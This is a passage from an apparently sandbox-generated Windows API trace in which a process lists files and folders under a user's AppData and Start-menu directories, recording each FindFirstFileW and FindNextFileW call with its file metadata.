nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="02a - Windows PowerShell.lnk", cAlternateFileName="02A-WI~1.LNK")) returned 1 [0212.811] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Computer Management.lnk", cAlternateFileName="03-COM~1.LNK")) returned 1 [0212.811] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Disk Management.lnk", cAlternateFileName="04-DIS~1.LNK")) returned 1 [0213.076] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - Network Connections.lnk", cAlternateFileName="04-1-N~1.LNK")) returned 1 [0213.076] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Device Manager.lnk", cAlternateFileName="05-DEV~1.LNK")) returned 1 [0213.076] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - System.lnk", cAlternateFileName="06-SYS~1.LNK")) returned 1 [0213.077] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d09ff7f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d09ff7f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Event Viewer.lnk", cAlternateFileName="07-EVE~1.LNK")) returned 1 [0213.077] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d09ff7f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d09ff7f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Power Options.lnk", cAlternateFileName="08-POW~1.LNK")) returned 1 [0213.077] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Mobility Center.lnk", cAlternateFileName="09-MOB~1.LNK")) returned 1 [0213.078] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - Programs and Features.lnk", cAlternateFileName="10-PRO~1.LNK")) returned 1 [0213.078] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.078] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0213.079] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0213.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0213.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0213.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0213.080] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live", lpFilePart=0x0) returned 0x3a [0213.080] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows live\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0213.081] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.082] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 1 [0213.082] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 0 [0213.082] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0213.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0213.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0213.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0213.082] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live", lpFilePart=0x0) returned 0x3a [0213.082] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows live\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0213.083] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.083] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 1 [0213.083] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.083] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0213.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0213.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0213.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0213.084] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici", lpFilePart=0x0) returned 0x3f [0213.084] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows live\\bici\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0213.084] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.085] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0213.085] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0213.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0213.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0213.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0213.085] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici", lpFilePart=0x0) returned 0x3f [0213.085] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows live\\bici\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0213.086] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.086] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0213.086] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0213.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0213.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0213.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0213.086] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x3d [0213.086] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows sidebar\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0213.087] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.087] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0213.087] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d053a9f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d053a9f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0213.088] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.088] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0213.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0213.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0213.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0213.088] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x3d [0213.088] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows sidebar\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0213.088] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.089] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0213.089] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d053a9f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d053a9f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0213.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0213.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0213.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0213.644] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\RoamingState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\RoamingState", lpFilePart=0x0) returned 0x61 [0213.644] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\RoamingState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\roamingstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61156378, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x61156378, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x61156378, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0214.367] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, 